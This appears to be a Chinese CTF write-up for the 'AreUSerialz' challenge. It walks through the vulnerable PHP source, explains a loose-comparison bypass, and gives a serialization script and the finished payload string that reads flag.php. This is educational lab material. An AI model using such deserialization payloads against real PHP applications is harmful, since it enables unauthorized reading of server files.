0x01 开局一张图
一看就知道让我们代码审计
对于这种一长串的源码，还是逐步来解把
首先的解题思路就是查看CTF题目的命名和代码函数
CTF题目这里命名为AreUSerialz，我反正一眼看不出什么端详，打的CTF比较少，直接看函数名字
在下面可以看到有一个unserialize()函数，那这一题基本上就是考反序列化的知识了。
我们整体的浏览一边代码，来看一下程序的大概走向。
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]:
";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}这里为了看起来方便，把换行都删除了，这样显得紧凑一点。
1、如果GET获取了str参数,isset()函数的作用是判断一个变量是否被设置，如果被设置 值就不为null
2、GET获取到的str参数经过(string)也不知道是干嘛的先不管，给$str变量
然后再进行一次判断，$str经过is_valid()函数的过滤，也不知道这个函数是干嘛的先不管。
3、把$str进行反序列化给到$obj变量，
这里因为执行了反序列所以会执行__wakeup()函数，和__destruct()函数，但是这里没有__wakeup()所以只会执行__destruct()，我们跟进函数进行查看
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}函数这里是进行一个op值的判断，如果==="2"就强制给op赋值为1，否则就进入process()函数，继续跟进函数
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}这个函数也是进行一个判断：
如果op=="1"就进入write()函数，否则再次进行判断
如果op=="2"就进入read()函数，最后再输出$res的结果
如果op既不等于1也不等于2就输出Bad Hakcer!
而write()函数中就是对文件进行一个写的操作，read()函数对文件进行一个读的操作，我们是寻找flag肯定是需要进入read()函数
整体的代码过程
str -> __destruct()
op值对比 === 类型、值
op === "2" 则op=1 否则op=原来的值
->process()
op值对比 == 值
op == "1"写入文件 否则op == “2” 则读取文件 否则输出Bad Hakcer!
所以我们需要 op 不=== “2” 并且 op == “2”
这里需要用到PHP的弱类型比较
使用"2"即可满足两个条件。这里不对弱比较做过多的解释
最后因为他是经过反序列化进行传参，所以我们需要在本地写一个序列化的脚本，把我们需要的参数序列化输出出来，然后再传递进去。
class FileHandler{ //这个类名一定要和题中的一样
public $op = ' 2'; // 源码提示我们需要绕过op === "2" 并且满足 op == "2"
public $filename = "flag.php"; // 源码文件开头调用的flag.php文件
public $content = "sss"; // 这里源码定义了这个变量，但没用到，可以随便给
}
//这里用public而不是protected是因为protected序列化之后会有%00字符，而public没有
$flag_1 = new FileHandler();
$flag_s = serialize($flag_1);
echo $flag_s;
?>0x02 public、protected、private下序列化对象的区别
php v7.x反序列化的时候对访问类别不敏感
- public变量
直接变量名反序列化出来
- protected变量
\x00 + * + \x00 + 变量名
可以用S:5:"\00*\00op"来代替s:5:"?*?op"
- private变量
\x00 + 类名 + \x00 + 变量名
这里需要的参数已经再代码中给出了
1.O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:8:"flag.php";s:7:"content";s:3:"sss";}我们也可以把他反序列化输出看看
$s ='O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:8:"flag.php";s:7:"content";s:3:"sss";}';
var_dump(unserialize($s));
?>最后我们复制生成出来的字符串然后接str参数就可以访问到flag.php文件了
前端没有，查看源代码
成功获取Flag！
最后，技术上有你有我，愿我们早日成为大牛！
